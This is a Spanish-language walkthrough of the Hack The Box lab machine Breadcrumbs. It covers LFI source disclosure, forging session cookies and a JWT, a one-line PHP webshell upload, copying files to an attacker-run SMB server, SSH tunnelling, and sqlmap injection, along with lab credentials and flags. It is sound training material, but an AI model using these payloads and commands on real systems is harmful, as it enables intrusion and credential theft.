This page looks best with JavaScript enabled

Hack The Box - Breadcrumbs

Breadcrumbs expone un sitio web donde descubrimos una vulnerabilidad LFI la cual nos proporcionó la informacion para obtener acceso como admin, para luego obtener credenciales y acceder por SSH. Obtuvimos acceso al siguiente usuario con credenciales en la aplicacion de Notas de Windows. Con Proxychains creamos un tunnel para acceder a una aplicacion donde encontramos la contraseña del administrador.

Nombre Breadcrumbs box_img_maker
OS

Windows

Puntos 40
Dificultad Dificil
IP 10.10.10.228
Maker

helich0pper

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7.6, 6.7, 4.6, 5.4, 3.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[7, 10, 1, 9, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

NMAP

Escaneo de puertos con nmap nos muestra el puerto http/s (80, 443), ssh (22), smb (139, 445), mysql (3306) y el puerto rpc (135) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# Nmap 7.91 scan initiated Thu May 27 17:55:50 2021 as: nmap -Pn -sV -sC -p22,80,135,139,443,445,3306,5040,49664,49666,49667,49668,49669 -oN scan_ports 10.10.10.228
Nmap scan report for 10.10.10.228 (10.10.10.228)
Host is up (0.26s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
| fingerprint-strings:
|   Help, Kerberos, SMBProgNeg, WMSRequest:
|_    Host '10.10.14.25' is not allowed to connect to this MariaDB server
5040/tcp  open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=5/27%Time=60B01574%P=x86_64-pc-linux-gnu%r(He
SF:lp,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.25'\x20is\x20not\x20allow
SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Kerberos,4A,
SF:"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.25'\x20is\x20not\x20allowed\x20
SF:to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBProgNeg,4A,"F\0
SF:\0\x01\xffj\x04Host\x20'10\.10\.14\.25'\x20is\x20not\x20allowed\x20to\x
SF:20connect\x20to\x20this\x20MariaDB\x20server")%r(WMSRequest,4A,"F\0\0\x
SF:01\xffj\x04Host\x20'10\.10\.14\.25'\x20is\x20not\x20allowed\x20to\x20co
SF:nnect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -44m27s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-05-27T21:14:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 27 17:58:47 2021 -- 1 IP address (1 host up) scanned in 177.03 seconds

RPCCLIENT & SMB

El puerto RPC y SMB no muestran informacion en sesion null.

1
2
3
4
π ~/htb/breadcrumbs ❯ rpcclient -N -U "" -L \\10.10.10.228
Cannot connect to server.  Error was NT_STATUS_UNSUCCESSFUL
π ~/htb/breadcrumbs ❯ smbclient -N -U "" -L \\10.10.10.228
session setup failed: NT_STATUS_ACCESS_DENIED

HTTP

Encontramos una pagina aparentemente estatica con una opcion de verificar libros.
image

Vemos un buscador de libros por Titulo y Autor.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos en las direcciones / y /portal/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
π ~/htb/breadcrumbs ❯ gobuster dir -u http://10.10.10.228/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q t 50 -x php,html,txt,xml,json
/index.php            (Status: 200) [Size: 2368]
/books                (Status: 301) [Size: 336] [--> http://10.10.10.228/books/]
/php                  (Status: 301) [Size: 334] [--> http://10.10.10.228/php/]
/portal               (Status: 301) [Size: 337] [--> http://10.10.10.228/portal/]
/css                  (Status: 301) [Size: 334] [--> http://10.10.10.228/css/]
/includes             (Status: 301) [Size: 339] [--> http://10.10.10.228/includes/]
/db                   (Status: 301) [Size: 333] [--> http://10.10.10.228/db/]
/examples             (Status: 503) [Size: 401]
/js                   (Status: 301) [Size: 333] [--> http://10.10.10.228/js/]
/licenses             (Status: 403) [Size: 420]

π ~/htb/breadcrumbs ❯ gobuster dir -u http://10.10.10.228/portal/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q t 50 -x php,html,txt,xml,json
/index.php            (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 2508]
/uploads              (Status: 301) [Size: 345] [--> http://10.10.10.228/portal/uploads/]
/signup.php           (Status: 200) [Size: 2735]
/assets               (Status: 301) [Size: 344] [--> http://10.10.10.228/portal/assets/]
/php                  (Status: 301) [Size: 341] [--> http://10.10.10.228/portal/php/]
/includes             (Status: 301) [Size: 346] [--> http://10.10.10.228/portal/includes/]
/db                   (Status: 301) [Size: 340] [--> http://10.10.10.228/portal/db/]
/logout.php           (Status: 302) [Size: 12] [--> login.php]
/vendor               (Status: 301) [Size: 344] [--> http://10.10.10.228/portal/vendor/]
/cookie.php           (Status: 200) [Size: 0]

PORTAL

Registramos e ingresamos en el portal, observamos diferentes opciones, una de ellas está “deshabilitada”, tambien se muestran algunos problemas (Issues) que presenta la “plataforma”.
image
image

Tambien una lista de posibles nombres de usuarios y su posicion/rol dentro de la plataforma, se lista tambien nuestro usuario (user), finalmente en File management que al parecer no tenemos acceso ya que redirige nuevamente a la pagina principal.
image

LFI

Modificando los diferentes parametros de la busqueda de libros (/php/books.php), vemos un error el cual muestra que falta el “parametro” books y además se muestra file_get_contents lo que quiere decir que realiza la lectura de archivos y los presenta en la pagina.
image

Verificamos esto en las opciones de busqueda de libros y vemos que al precionar la opcion de Reservar en /php/books.php envia el nombre de un archivo html, y muestra el contenido de este en un Modal.
image

SOURCE CODE

Utilizando esta informacion logramos obtener el codigo fuente de las paginas existentes y que enumeramos con Gobuster. Como por ejemplo el controlador de autenticacion (authController.php) en el cual incluye como se realiza una sesion (PHPSESSID) y lo que parece ser un token de JWT.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
// book=../portal/authController.php&method=1
<?php 
require 'db/db.php';
require "cookie.php";
require "vendor/autoload.php";
use FirebaseJWTJWT;
$errors = array();
$username = "";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR']; //if user clicks on login
if ($_SERVER['REQUEST_METHOD'] === "POST")
{
    if ($_POST['method'] == 0)
    {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $query = "SELECT username,position FROM users WHERE username=? LIMIT 1";
        $stmt = $con->prepare($query);
        $stmt->bind_param('s', $username);
        $stmt->execute();
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_ASSOC))
        {
            array_push($userdata, $row);
        }
        $userCount = $result->num_rows;
        $stmt->close();
        if ($userCount > 0)
        {
            $password = sha1($password);
            $passwordQuery = "SELECT * FROM users WHERE password=? AND username=? LIMIT 1";
            $stmt = $con->prepare($passwordQuery);
            $stmt->bind_param('ss', $password, $username);
            $stmt->execute();
            $result = $stmt->get_result();
            if ($result->num_rows > 0)
            {
                $valid = true;
            }
            $stmt->close();
        }
        if ($valid)
        {
            session_id(makesession($username));
            session_start();
            $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
            $data = array();
            $payload = array(
                "data" => array(
                    "username" => $username
                )
            );
            $jwt = JWT::encode($payload, $secret_key, 'HS256');
            setcookie("token", $jwt, time() + (86400 * 30) , "/");
            $_SESSION['username'] = $username;
            $_SESSION['loggedIn'] = true;
            if ($userdata[0]['position'] == "")
            {
                $_SESSION['role'] = "Awaiting approval";
            }
            else
            {
                $_SESSION['role'] = $userdata[0]['position'];
            }
            header("Location: /portal");
        }
        else
        {
            $_SESSION['loggedIn'] = false;
            $errors['valid'] = "Username or Password incorrect";
        }
    }
    elseif ($_POST['method'] == 1)
    {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $passwordConf = $_POST['passwordConf'];
        if (empty($username))
        {
            $errors['username'] = "Username Required";
        }
        if (strlen($username) < 4)
        {
            $errors['username'] = "Username must be at least 4 characters long";
        }
        if (empty($password))
        {
            $errors['password'] = "Password Required";
        }
        if ($password !== $passwordConf)
        {
            $errors['passwordConf'] = "Passwords don't match!";
        }
        $userQuery = "SELECT * FROM users WHERE username=? LIMIT 1";
        $stmt = $con->prepare($userQuery);
        $stmt->bind_param('s', $username);
        $stmt->execute();
        $result = $stmt->get_result();
        $userCount = $result->num_rows;
        $stmt->close();
        if ($userCount > 0)
        {
            $errors['username'] = "Username already exists";
        }
        if (count($errors) === 0)
        {
            $password = sha1($password);
            $sql = "INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')";
            $stmt = $con->prepare($sql);
            $stmt->bind_param('ss', $username, $password);
            if ($stmt->execute())
            {
                $user_id = $con->insert_id;
                header('Location: login.php');
            }
            else
            {
                $_SESSION['loggedIn'] = false;
                $errors['db_error'] = "Database error: failed to register";
            }
        }
    }
}

MYSQL

Tambien encontramos las credenciales de la base de datos, intentamos ingresar mediante el puerto mysql pero no fue posible, probablemente solo esten permitidas las conexiones locales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# book=../portal/db/db.php&method=1&
# <?php
#	$host="localhost";
#	$port=3306;
#	$user="bread";
#	$password="jUli901";
#	$dbname="bread";
#	$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
# ?>

π ~/htb/breadcrumbs ❯ mysql -h 10.10.10.228 -u bread -p
Enter password:
ERROR 1130 (HY000): Host '10.10.14.25' is not allowed to connect to this MariaDB server
π ~/htb/breadcrumbs ❯

Paul - ADMIN

Token & Session

Enumerando los archivos del controlador de autenticacion (authController.php), encontramos fileController.php en el cual se indica como se valida el token jwt, mostrando la clave secreta, tambien se muestra el usuario “admin” paul.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// book=../portal/includes/fileController.php&method=1
<?php
$ret = "";
require "../vendor/autoload.php";
use FirebaseJWTJWT;
session_start();
function validate(){    
	$ret = false;    
	$jwt = $_COOKIE['token'];    
	$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';    
	$ret = JWT::decode($jwt, $secret_key, array('HS256'));       
	return $ret;
}
if($_SERVER['REQUEST_METHOD'] === "POST"){    
	$admins = array("paul");    
	$user = validate()->data->username;

	if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
		error_reporting(E_ALL & ~E_NOTICE);
		$uploads_dir = '../uploads';
		$tmp_name = $_FILES["file"]["tmp_name"];
		$name = $_POST['task'];

		if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
			$ret = "Success. Have a great weekend!";
		}else{
			$ret = "Missing file or title :(" ;
		}
	}else{
		$ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.";
	}
	echo $ret;
}

Asi mismo encontramos en cookie.php la forma en que se crea la cookie PHPSESSID.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// book=../portal/cookie.php&method=1

<?php
/** 
* @param string $username  Username requesting session cookie *  
* @return string $session_cookie Returns the generated cookie *  
* @devteam 
* Please DO NOT use default PHPSESSID; our security team says they are predictable. 
* CHANGE SECOND PART OF MD5 KEY EVERY WEEK * 
*/

function makesession($username)
{
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_" . $username[$seed] . "(!528./9890";
    $session_cookie = $username . md5($key);
    return $session_cookie;
}

Analizando el codigo fuente de cookie.php vemos que crea multiples “sesiones” en total 4, por lo que modificamos el codigo y creamos las 4 sesiones para paul.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
π ~/htb/breadcrumbs ❯ cat session.php
<?php
function makesession($username){
    $max = strlen($username) - 1;
    //$seed = rand(0, $max); <-- sesion con n random entre 1 - 4 (longitud de 'paul')
    for ($i = 0; $i <= $max; $i++) {
    	$key = "s4lTy_stR1nG_" . $username[$i] . "(!528./9890";
    	$session_cookie = $username . md5($key);
    	echo $i . ' : ' . $session_cookie;
    	echo "\n";
	}    
}
makesession('paul');
?> 
π ~/htb/breadcrumbs ❯ php session.php
0 : paula2a6a014d3bee04d7df8d5837d62e8c5
1 : paul61ff9d4aaefe6bdf45681678ba89ff9d
2 : paul8c8808867b53c49777fe5559164708c3
3 : paul47200b180ccd6835d25d034eeb6e6390

Y utilizando jwt.io creamos un token para el usuario paul tomando de base el token de un usuario registrado y la clave secreta.
image

Modificando el PHPSESSID y Token Jwt en firefox logramos acceder al portal y a File management como admin, vemos la opcion para subir de archivos.
image

WEB-SHELL

Podemos realizar la lectura de archivos, por lo que verificamos el codigo fuente de la pagina de File management, y encontramos en fileController.php que los archivos son subidos y movidos a /portal/uploads/, aunque solamente acepta archivos .zip, creamos un archivo con una “mini webshell”.

1
<?php echo(system($_GET['cmd'])); ?>

Seleccionamos el archivo y agregamos el task, interceptamos la solicitud con burpsuite y modificamos la extension del task .php.
image

Ejecutamos whoami y vemos que el usuario es www-data.

1
2
3
4
π ~/htb/breadcrumbs ❯ curl -s "https://10.10.10.228/portal/uploads/auo.zip.php?cmd=whoami" -k
breadcrumbs\www-data
breadcrumbs\www-data
π ~/htb/breadcrumbs ❯

Juliette - USER

Enumerando los diferentes archivos logramos encontrar la contraseña de juliette.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
π ~/htb/breadcrumbs ❯ curl -s -k "https://10.10.10.228/portal/uploads/uo.zip.php?cmd=type%20..\pizzaDeliveryUserData\*"
[... REDACTED ...]
{
	"pizza" : "margherita",
	"size" : "large",	
	"drink" : "water",
	"card" : "VISA",
	"PIN" : "9890",
	"alternate" : {
		"username" : "juliette",
		"password" : "jUli901./())!",
	}
}{
	"pizza" : "null",
	"size" : "null",
	"drink" : "null",
	"card" : "null",
	"PIN" : "null",
	"alternate" : {
		"username" : "null",
		"password" : "null",
	}
}
[... REDACTED ...]
π ~/htb/breadcrumbs ❯

Utilizamos esta contraseña en el servicio SSH, logramos obtener una shell y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

juliette@BREADCRUMBS C:\Users\juliette>whoami
breadcrumbs\juliette

juliette@BREADCRUMBS C:\Users\juliette>type Desktop\user.txt
1aec9d6b37ed9be9b87db57e3add8767

juliette@BREADCRUMBS C:\Users\juliette>

Enumeracion

SMB Access

Verificamos el acceso en SMB, tenemos acceso de lectura al recurso Anouncements.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
π ~/htb/breadcrumbs ❯ crackmapexec smb -u juliette -p 'jUli901./())!' --shares 10.10.10.228
SMB         10.10.10.228    445    BREADCRUMBS      [*] Windows 10.0 Build 19041 x64 (name:BREADCRUMBS) (domain:Breadcrumbs) (signing:False) (SMBv1:False)
SMB         10.10.10.228    445    BREADCRUMBS      [+] Breadcrumbs\juliette:jUli901./())!
SMB         10.10.10.228    445    BREADCRUMBS      [+] Enumerated shares
SMB         10.10.10.228    445    BREADCRUMBS      Share           Permissions     Remark
SMB         10.10.10.228    445    BREADCRUMBS      -----           -----------     ------
SMB         10.10.10.228    445    BREADCRUMBS      ADMIN$                          Remote Admin
SMB         10.10.10.228    445    BREADCRUMBS      Anouncements    READ
SMB         10.10.10.228    445    BREADCRUMBS      C$                              Default share
SMB         10.10.10.228    445    BREADCRUMBS      Development
SMB         10.10.10.228    445    BREADCRUMBS      IPC$            READ            Remote IPC

En el recurso solamente encontramos un archivo de texto pero no parece guiarnos a ningun lado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
π ~/htb/breadcrumbs ❯ smbclient \\\\10.10.10.228\\Anouncements -U juliette
Enter WORKGROUP\juliette's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jan 15 19:03:48 2021
  ..                                  D        0  Fri Jan 15 19:03:48 2021
  main.txt                            A      306  Fri Jan 15 19:06:10 2021

		5082961 blocks of size 4096. 1598433 blocks available
smb: \> get main.txt
getting file \main.txt of size 306 as main.txt (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \> exit
π ~/htb/breadcrumbs ❯ cat main.txt
Rabbit Stew Celebration
To celebrate the new library startup, a lunch will be held this upcoming Friday at 1 PM.
Location: Room 201 block B
Food: Rabbit Stew

Hole Construction
Please DO NOT park behind the contruction workers fixing the hole behind block A.
Multiple complaints have been made.

Development - USER

Enumeracion

Enumerando las carpetas de Juliette vemos un archivo html: todo.html, el cual contiene una lista de tareas y el estado de cada una.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
PS C:\Users\juliette\Desktop> dir


    Directory: C:\Users\juliette\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         12/9/2020   6:27 AM            753 todo.html
-ar---          6/1/2021  11:38 AM             34 user.txt


PS C:\Users\juliette\Desktop>

image

Sticky Notes

Se destaca que las contraseñas podrian estar en Sticky Notes ya que el estado de esta tarea esta en progreso.

1
Migrate passwords from the Microsoft Store Sticky Notes appli cation to our new password manager

Tambien se menciona un administrador de contraseñas que posiblemente sea una aplicacion dentro de la maquina.

1
Add new features to password manager

Notes Data

Encontramos como realizar un backup de Sticky Notes, vemos los archivos de informacion en C:\Users\juliette\AppData\Local\Packages

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
PS C:\Users\juliette\AppData\local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> dir


    Directory: C:\Users\juliette\AppData\local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/15/2021   4:10 PM          20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a----        11/29/2020   3:10 AM           4096 plum.sqlite
-a----         1/15/2021   4:10 PM          32768 plum.sqlite-shm
-a----         1/15/2021   4:10 PM         329632 plum.sqlite-wal

Copiamos los archivos utilizando un servidor de samba, y utilizando sqlite3 logramos obtener las notas de la base de datos sqlite, aunque solo se muestran las contraseñas de los usuarios Juliette y Development. Además grepeando todos los archivos tambien se muestra algun tipo de historial de las notas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# sudo impacket-smbserver -smb2support share .
# copy * \\10.10.14.25\share\
π ~/htb/breadcrumbs/tmp ❯ ll
total 380K
-rwxr-xr-x 1 root root  20K Jan 15 19:10 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-rwxr-xr-x 1 root root 4.0K Jan 15 19:09 plum.sqlite
-rwxr-xr-x 1 root root  32K Jan 15 19:10 plum.sqlite-shm
-rwxr-xr-x 1 root root 322K Jan 15 19:10 plum.sqlite-wal
π ~/htb/breadcrumbs/tmp ❯ sqlite3
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open plum.sqlite
sqlite> .tables
Media           Stroke          SyncState       User
Note            StrokeMetadata  UpgradedNote
sqlite> select * from Note;
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]|ManagedPosition=|1|0||Yellow|0|||||||0c32c3d8-7c60-48ae-939e-798df198cfe7|8e814e57-9d28-4288-961c-31c806338c5b|637423162765765332||637423163995607122
sqlite>

Ingresamos a la maquina con las credenciales de development, enumeramos la maquina y vemos un archivo en C:\Development.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
PS C:\Development> dir


    Directory: C:\Development


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/29/2020   3:11 AM          18312 Krypter_Linux


PS C:\Development>

Root - USER

SMB

Encontramos en el recurso Development de samba el mismo archivo (Krypter_Linux), dicho archivo es un ejecutable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
π ~/htb/breadcrumbs ❯ crackmapexec smb -u development -p 'fN3)sN5Ee@g' --shares 10.10.10.228
SMB         10.10.10.228    445    BREADCRUMBS      [*] Windows 10.0 Build 19041 x64 (name:BREADCRUMBS) (domain:Breadcrumbs) (signing:False) (SMBv1:False)
SMB         10.10.10.228    445    BREADCRUMBS      [+] Breadcrumbs\development:fN3)sN5Ee@g
SMB         10.10.10.228    445    BREADCRUMBS      [+] Enumerated shares
SMB         10.10.10.228    445    BREADCRUMBS      Share           Permissions     Remark
SMB         10.10.10.228    445    BREADCRUMBS      -----           -----------     ------
SMB         10.10.10.228    445    BREADCRUMBS      ADMIN$                          Remote Admin
SMB         10.10.10.228    445    BREADCRUMBS      Anouncements    READ
SMB         10.10.10.228    445    BREADCRUMBS      C$                              Default share
SMB         10.10.10.228    445    BREADCRUMBS      Development     READ
SMB         10.10.10.228    445    BREADCRUMBS      IPC$            READ            Remote IPC
π ~/htb/breadcrumbs ❯ smbclient \\\\10.10.10.228\\Development -U development
Enter WORKGROUP\development's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Jan 15 19:03:49 2021
  ..                                  D        0  Fri Jan 15 19:03:49 2021
  Krypter_Linux                       A    18312  Sun Nov 29 06:11:56 2020

		5082961 blocks of size 4096. 1596652 blocks available
smb: \> get Krypter_Linux
getting file \Krypter_Linux of size 18312 as Krypter_Linux (41.7 KiloBytes/sec) (average 41.7 KiloBytes/sec)
smb: \> exit
π ~/htb/breadcrumbs ❯ file Krypter_Linux
Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped
π ~/htb/breadcrumbs ❯ ./Krypter_Linux
Krypter V1.2

New project by Juliette.
New features added weekly!
What to expect next update:
	- Windows version with GUI support
	- Get password from cloud and AUTOMATICALLY decrypt!
***

No key supplied.
USAGE:

Krypter <key>

Krypter

Verificamos el archivo utilizando Ghidra, vemos que dicho archivo realiza algun tipo de solicitud hacia la direccion passmanager.htb, dicha direccion no existe en los archivos de configuracion de xampp y etc\hosts de la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
if (local_28 != 0) {
	puts("Requesting decryption key from cloud...\nAccount: Administrator");
    curl_easy_setopt(local_28,0x2712,"http://passmanager.htb:1234/index.php");
    curl_easy_setopt(local_28,0x271f,"method=select&username=administrator&table=passwords");
    curl_easy_setopt(local_28,0x4e2b,WriteCallback);
    curl_easy_setopt(local_28,0x2711,local_58);
    local_2c = curl_easy_perform(local_28);
    curl_easy_cleanup(local_28);
    puts("Server response:\n\n");
    this = std::operator<<((basic_ostream *)std::cout,local_58);
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)this,
               std::endl<char,std::char_traits<char>>);
}

Al verificar el puerto 1234, vemos que está a la escucha localmente.

1
2
3
4
5
6
7
8
9
PS C:\Development> netstat -ano | select-string 1234

  TCP    127.0.0.1:1234         0.0.0.0:0              LISTENING       2928
  TCP    127.0.0.1:1234         127.0.0.1:61143        TIME_WAIT       0
  TCP    127.0.0.1:1234         127.0.0.1:61145        FIN_WAIT_2      2928
  TCP    127.0.0.1:61145        127.0.0.1:1234         CLOSE_WAIT      2056


PS C:\Development>

Proxychains

Obtuvimos el puerto localmente mediante SOCKS5 SSH tunnel y ProxyChains.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# ssh -D 1337 -q -C -N development@10.10.10.228 # fN3)sN5Ee@g
π ~/htb/breadcrumbs ❯ cat /etc/proxychains4.conf |grep -v "#"
strict_chain

proxy_dns

remote_dns_subnet 224

tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks4  127.0.0.1 1337

Al visitar el puerto 1234 con la solicitud que realiza el ejecutable vemos una clave AES (k19D193j.<19391(), tambien, esta “aplicacion/pagina” podria relacionarse con el nuevo administrador de contraseñas que se menciona en las tareas.
image

SQLi - SQLMap

Modificando la solicitud observamos un tipo de error en la solicitud, tomamos esto en cuenta para ejecutar SQLmap.
image

Obtuvimos informacion de la base de datos bread que incluye la contraseña encriptada en AES del usuario Administrator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# proxychains4 -q sqlmap -u "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords" --dbs --batch
available databases [2]:
[*] bread
[*] information_schema

Database: bread
[1 table]
+-----------+
| passwords |
+-----------+

Database: bread
Table: passwords
[1 entry]
+----+---------------+------------------+----------------------------------------------+
| id | account       | aes_key          | password                                     |
+----+---------------+------------------+----------------------------------------------+
| 1  | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+

Utilizamos devglan para obtener la contraseña en texto plano.
image

Shell

Ingresamos por SSH, obtuvimos una shell y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

administrator@BREADCRUMBS C:\Users\Administrator>whoami
breadcrumbs\administrator

administrator@BREADCRUMBS C:\Users\Administrator>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\Administrator> cd .\Desktop\
PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/15/2021   4:03 PM                passwordManager
-ar---          6/1/2021  11:38 AM             34 root.txt


PS C:\Users\Administrator\Desktop> cat .\root.txt
c7810478e810a3ab65532c0cb04fa740
PS C:\Users\Administrator\Desktop>
Share on

Dany Sucuc
WRITTEN BY
Dany Sucuc
RedTeamer & Pentester wannabe